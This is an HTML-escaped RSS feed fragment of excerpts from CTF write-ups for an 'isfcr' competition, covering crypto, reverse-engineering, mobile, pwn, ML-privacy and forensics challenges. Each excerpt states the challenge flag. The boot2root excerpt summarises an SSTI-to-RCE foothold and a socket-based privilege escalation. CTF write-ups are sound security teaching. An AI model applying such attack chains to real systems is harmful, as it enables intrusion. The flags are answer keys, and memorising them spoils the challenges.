&lt;code&gt;isfcr{pr0j3ct1v3_sh4d0ws_c0nc34l_gr0up_l4w}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="challenge"&gt;&#10; &lt;a href="#challenge" class="md-heading-anchor"&gt;&#10; Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;observations.json&lt;/code&gt; holds 6000 pairs (multiplier mᵢ, observation oᵢ) with&lt;/p&gt;&#10;&lt;pre&gt;&lt;code&gt;oᵢ = (A·x([mᵢ]K) + B) / (C·x([mᵢ]K) + D) (mod p)&#10;&lt;/code&gt;&lt;/pre&gt;&#10;&lt;p&gt;on &lt;code&gt;E: Y² = X³ + b&lt;/code&gt; over F_p. The point K (order n) and the matrix (A,B;C,D) are secret.&#10;The seal key is &lt;code&gt;SHA256(&amp;quot;prismwake-v1\0&amp;quot; || x(K) || u || v || w)&lt;/code&gt;, where&#10;&lt;code&gt;x = (u·o + v)/(w·o + 1)&lt;/code&gt; is the inverse Möbius map. The goal is to recover x(K), u, v, w.&lt;/p&gt;</description></item><item><title>Recurrence</title><link>https://hotwater-online.xyz/writeups/isfcr/recurrence/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/recurrence/</guid><description>&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;CTF reverse-engineering / crypto challenge&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{p0hlig_h3llman_sm00th}&lt;/code&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&lt;p&gt;We are given a stripped 64-bit ELF binary &lt;code&gt;chall&lt;/code&gt;. Running it:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ ./chall&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;need exactly 28 bytes of input&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;It wants &lt;strong&gt;exactly 28 bytes&lt;/strong&gt;. Feeding 28 bytes returns &lt;code&gt;nope.&lt;/code&gt; unless the input is the&#10;correct one — the flag &lt;em&gt;is&lt;/em&gt; the 28-byte input itself.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-reverse-engineering"&gt;&#10; &lt;a href="#1-reverse-engineering" class="md-heading-anchor"&gt;&#10; 1. Reverse engineering&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The binary is small enough to fully disassemble with &lt;code&gt;objdump -d&lt;/code&gt;. Only a few functions&#10;exist (plus glibc PLT stubs): the &lt;code&gt;main&lt;/code&gt; at &lt;code&gt;0x4003c0&lt;/code&gt;, and three helpers:&lt;/p&gt;</description></item><item><title>SilverGate — silvergate.apk + base.odex</title><link>https://hotwater-online.xyz/writeups/isfcr/oatmeal/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/oatmeal/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Mobile / Reverse Engineering&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{5958fbb07efd243b}&lt;/code&gt;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="0-tldr"&gt;&#10; &lt;a href="#0-tldr" class="md-heading-anchor"&gt;&#10; 0. TL;DR&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;base.odex&lt;/code&gt; is not a real ART/OAT file — it's a hand-crafted container with a&#10;small AArch64 &amp;quot;native code&amp;quot; section and three methods:&lt;/p&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;Method&lt;/th&gt;&#10; &lt;th&gt;Offset&lt;/th&gt;&#10; &lt;th&gt;Behaviour&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;checkFlag_v1_LEGACY&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;0x7e0&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;compares a 32-byte input against the constant at &lt;code&gt;0x1c8&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;checkFlag_v2&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;0x4b0&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;8-register bytecode VM that validates a &lt;strong&gt;24-byte passphrase&lt;/strong&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;finalizeFlag&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;0x820&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;FNV-1a-64(passphrase) ^ 0xa55a96693c3cd2ad&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;&lt;code&gt;checkFlag_v2&lt;/code&gt; is fully invertible. Doing so reveals the passphrase&#10;&lt;code&gt;art_image_took_the_cake!&lt;/code&gt;, and &lt;code&gt;finalizeFlag&lt;/code&gt; turns it into the flag:&lt;/p&gt;</description></item><item><title>slab store</title><link>https://hotwater-online.xyz/writeups/isfcr/slab/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/slab/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; pwn&#10;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;nc 0.cloud.chals.io 20535&lt;/code&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{cust0m_sl4b_n0_gl1bc_r3c1p3_s4v3s_y0u}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h2 id="1-recon"&gt;&#10; &lt;a href="#1-recon" class="md-heading-anchor"&gt;&#10; 1. Recon&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Connecting to the service prints a banner and a prompt:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;slab store. commands: alloc | free &amp;lt;i&amp;gt; | edit &amp;lt;i&amp;gt; &amp;lt;hex&amp;gt; | read &amp;lt;i&amp;gt; | report | quit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;So this is a little in-memory &amp;quot;note store&amp;quot; with five commands:&lt;/p&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;command&lt;/th&gt;&#10; &lt;th&gt;meaning&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;alloc&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;allocate an object, prints &lt;code&gt;idx N&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;free &amp;lt;i&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;free object &lt;code&gt;i&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;edit &amp;lt;i&amp;gt; &amp;lt;hex&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;hex-decode and write bytes into object &lt;code&gt;i&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;read &amp;lt;i&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;print object &lt;code&gt;i&lt;/code&gt; as 96 bytes of hex&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;report&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;prints &lt;code&gt;nothing to report.&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;&lt;code&gt;quit&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;exit&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;Behavioral probing established:&lt;/p&gt;</description></item><item><title>The Aggregate Remembers</title><link>https://hotwater-online.xyz/writeups/isfcr/aggregate-remembers-writeup/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/aggregate-remembers-writeup/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{9b1aa6a53205a859c14cc5e4}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Answer submitted:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="bash"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;bash&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 unlock.py &lt;span class="s1"&gt;&amp;#39;[&amp;#34;07841f68cb73fe5aac5cbf66f113f992&amp;#34;, &amp;#34;ff1247cd40f11a77f9495f7ba9648a20&amp;#34;]&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="challenge-summary"&gt;&#10; &lt;a href="#challenge-summary" class="md-heading-anchor"&gt;&#10; Challenge summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;A federated linear regression model (16 features plus a bias term, every label equal to 1) was updated over many rounds. Each round mixed three clients with integer &lt;code&gt;mix&lt;/code&gt; weights, and only the aggregated delta was published:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;delta = -lr * (weighted_mean_gradient + weight_decay * weights)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;with &lt;code&gt;lr = 1/8&lt;/code&gt; and &lt;code&gt;weight_decay = 1/64&lt;/code&gt;. The goal was to recover the two raw 16-byte records in the target client's batch (&lt;code&gt;6806bb153e&lt;/code&gt;) from the &lt;code&gt;acquisition-A&lt;/code&gt; cohort.&lt;/p&gt;</description></item><item><title>The Deletion Echo</title><link>https://hotwater-online.xyz/writeups/isfcr/the-deletion-echo-writeup/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/the-deletion-echo-writeup/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{763c8479fac095a9e471ad3d}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="challenge"&gt;&#10; &lt;a href="#challenge" class="md-heading-anchor"&gt;&#10; Challenge&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;A regression service claims a deletion request was fulfilled by &lt;em&gt;exact retraining&lt;/em&gt;. We get:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;data.json&lt;/code&gt; with a &lt;code&gt;contract&lt;/code&gt;, 5 model &lt;code&gt;snapshots&lt;/code&gt;, 140 &lt;code&gt;candidates&lt;/code&gt; (raw feature vectors), 3 &lt;code&gt;ingest&lt;/code&gt; batches (raw vectors, no labels), and 1200 oracle &lt;code&gt;queries&lt;/code&gt; (240 per snapshot) returning &lt;code&gt;mean&lt;/code&gt; and &lt;code&gt;predictive_variance&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;unlock.py&lt;/code&gt;, which decrypts the flag if given the exact sorted list of &lt;code&gt;record-id:label&lt;/code&gt; strings for every deleted record.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;The model is ridge regression on features &lt;code&gt;x = (raw[perm] - center) / scale&lt;/code&gt;, with no intercept:&lt;/p&gt;</description></item><item><title>The-press</title><link>https://hotwater-online.xyz/writeups/isfcr/the-press-writeup/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/the-press-writeup/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Reverse Engineering&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{r4ng3_c0d3r_b1t_3x4ct_y0!}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;strong&gt;the-press&lt;/strong&gt; (binary: &lt;code&gt;chall_1_&lt;/code&gt;) is a stripped x86-64 ELF. It reads exactly 32 bytes from stdin, compresses them with a custom LZMA-style range encoder, and compares the 36-byte result against a constant in &lt;code&gt;.rodata&lt;/code&gt;. If the output matches it prints &lt;code&gt;CORRECT&lt;/code&gt;; otherwise &lt;code&gt;nope.&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;The solution is to run the encoder backwards: decode the 36-byte target with a range decoder that mirrors the binary's probability model, then undo the XOR chain.&lt;/p&gt;</description></item><item><title>Turning_chart</title><link>https://hotwater-online.xyz/writeups/isfcr/turning-chart-teammate/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/turning-chart-teammate/</guid><description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Reverse Engineering&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{3v3ry_r0ut3_r3m3mb3rs_1ts_0r1g1n}&lt;/code&gt;&lt;/p&gt;&#10;&lt;blockquote class="md-blockquote"&gt;&#10; &lt;p&gt;The survey ship's last chart was sealed by a navigation instrument whose needle never stays put.&#10;The crew kept the instrument, but lost the course that opened it. Recover the accepted course.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&lt;hr&gt;&#10;&lt;h2 id="1-recon"&gt;&#10; &lt;a href="#1-recon" class="md-heading-anchor"&gt;&#10; 1. Recon&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="console"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;console&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-console" data-lang="console"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gp"&gt;$&lt;/span&gt; file turning_chart&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="go"&gt;turning_chart: ELF 64-bit LSB executable, x86-64, statically linked, stripped&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;It is tiny (~10 KB), static, stripped, and uses raw &lt;code&gt;syscall&lt;/code&gt;s (no libc). Running it:&lt;/p&gt;</description></item><item><title>Write-hole</title><link>https://hotwater-online.xyz/writeups/isfcr/write-hole-writeup/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/write-hole-writeup/</guid><description>&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{p4r1ty_n3v3r_l13s_wr1t3_h0l3_r3m3mb3rs}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;A 3-drive RAID5 NAS lost power while &lt;code&gt;isfc-stage.py&lt;/code&gt; was rewriting a sealed report. Nobody saved the md settings, and the sealing key was burn-after-read. Recovery needed four steps:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Work out the RAID geometry from the raw images.&lt;/li&gt;&#10;&lt;li&gt;Recover the sealing key from the ext4 journal.&lt;/li&gt;&#10;&lt;li&gt;Rebuild the torn records from parity.&lt;/li&gt;&#10;&lt;li&gt;Repair one record that was still slightly wrong after the parity rebuild.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h2 id="1-recon"&gt;&#10; &lt;a href="#1-recon" class="md-heading-anchor"&gt;&#10; 1. Recon&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Three 17,825,792-byte images: &lt;code&gt;bay0.img&lt;/code&gt;, &lt;code&gt;bay1.img&lt;/code&gt;, &lt;code&gt;bay2.img&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Zygote-Conspiracy Bundle</title><link>https://hotwater-online.xyz/writeups/isfcr/zygote-conspiracy-teammate/</link><pubDate>Sun, 11 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/zygote-conspiracy-teammate/</guid><description>&lt;p&gt;&lt;strong&gt;Challenge:&lt;/strong&gt; &lt;code&gt;notesync.apk&lt;/code&gt; + &lt;code&gt;batterybuddy.apk&lt;/code&gt;, flag format &lt;code&gt;isfcr{...}&lt;/code&gt;&#10;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;isfcr{tw1n_pr0cess_h4ndshake_mem0ry_0nly_9f23ac}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="tldr"&gt;&#10; &lt;a href="#tldr" class="md-heading-anchor"&gt;&#10; TL;DR&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The two apps are two halves of one decryption scheme. Each ships a 32 KB &lt;code&gt;half.bin&lt;/code&gt;. At runtime the native libs exchange halves through sealed &lt;code&gt;memfd&lt;/code&gt;s, XOR them, and ChaCha20-decrypt the result into a hidden DEX. That DEX holds an AES-GCM blob whose key is derived from the shared signing certificate. Everything is derivable offline from the two APKs.&lt;/p&gt;</description></item><item><title>Draftpad</title><link>https://hotwater-online.xyz/writeups/isfcr/draftpad/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/draftpad/</guid><description>&lt;h2 id="target"&gt;&#10; &lt;a href="#target" class="md-heading-anchor"&gt;&#10; Target&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;https://isfcrpesu-draftpad.chals.io/&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="discovery"&gt;&#10; &lt;a href="#discovery" class="md-heading-anchor"&gt;&#10; Discovery&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The application loads its document data from:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GET /api/document&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The page also displays the published output from:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GET /api/export/public&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The document uses pinned positions for the private range. The document API showed the private start and end pins, but the private block between them was not correctly protected. In particular, inserted blocks had shifted the document's linearized indexes while the pins retained their original positions.&lt;/p&gt;</description></item><item><title>ECHO-9</title><link>https://hotwater-online.xyz/writeups/isfcr/echo-9/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/echo-9/</guid><description>&lt;h2 id="summary"&gt;&#10; &lt;a href="#summary" class="md-heading-anchor"&gt;&#10; Summary&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;ECHO-9's watchdog recovery preserved its boot counter and restarted its transmit sequence. This caused a reset event to reuse the AES-CTR nonce of an earlier service response. The firmware, EEPROM, and UART capture provide enough information to reconstruct the reset event's plaintext. XORing that plaintext with the two ciphertexts recovers a diagnostic seed without recovering the device's OTP key.&lt;/p&gt;&#10;&lt;p&gt;The seed is verified by a SHA-256 proof. It then feeds a revision-3 HKDF construction bound to the device state, manifest, patched firmware, and canonical package data. The resulting key decrypts the update's diagnostic section with AES-GCM. The full flag, including its prefix, is stored in diagnostic TLV &lt;code&gt;0x0091&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>ECHOCHAMBER — Boot2Root</title><link>https://hotwater-online.xyz/writeups/isfcr/echochamber-user-and-root/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/echochamber-user-and-root/</guid><description>&lt;p&gt;Target: &lt;code&gt;10.49.153.33&lt;/code&gt; (hostname &lt;code&gt;echochamber&lt;/code&gt;, Debian 12, kernel 6.12)&#10;Flags: &lt;code&gt;user.txt&lt;/code&gt;, &lt;code&gt;root.txt&lt;/code&gt; (vaulted behind a symlink-flipping &amp;quot;warden&amp;quot;)&lt;/p&gt;&#10;&lt;h2 id="tldr"&gt;&#10; &lt;a href="#tldr" class="md-heading-anchor"&gt;&#10; TL;DR&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;Stage&lt;/th&gt;&#10; &lt;th&gt;Vector&lt;/th&gt;&#10; &lt;th&gt;Result&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;Foothold&lt;/td&gt;&#10; &lt;td&gt;Jinja2 SSTI in &lt;code&gt;/api/alert/preview&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;RCE as &lt;code&gt;analyst&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;Privesc&lt;/td&gt;&#10; &lt;td&gt;World-writable &lt;code&gt;/run/sentinel/ctrl.sock&lt;/code&gt;, sentinel runs with &lt;code&gt;CAP_DAC_READ_SEARCH&lt;/code&gt;, nonce gate computable from source&lt;/td&gt;&#10; &lt;td&gt;Read any file as &lt;code&gt;sentinel&lt;/code&gt;, incl. &lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&#10;&lt;span class="table-scroll-hint" aria-hidden="true"&gt;Scroll horizontally to explore the table &lt;svg class="ui-arrow ui-arrow--right" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true" focusable="false"&gt;&lt;path d="M4 12h16m-7-7 7 7-7 7"/&gt;&lt;/svg&gt;&#10;&lt;/span&gt;&#10;&lt;p&gt;Flags:&lt;/p&gt;</description></item><item><title>Faraday</title><link>https://hotwater-online.xyz/writeups/isfcr/faraday-cage/</link><pubDate>Sat, 10 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/isfcr/faraday-cage/</guid><description>&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;isfcr{p3rmut3d_h4ndl3rs_v5_cust0m_ch4ch4_1n_th3_c4g3}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="overview"&gt;&#10; &lt;a href="#overview" class="md-heading-anchor"&gt;&#10; Overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The attachment is an Android diagnostic app for the LumoWise LW-7 smart bulb. Its UI accepts a 16-byte challenge response as 32 hexadecimal characters. The actual validation and flag decryption are implemented in a native library, not in 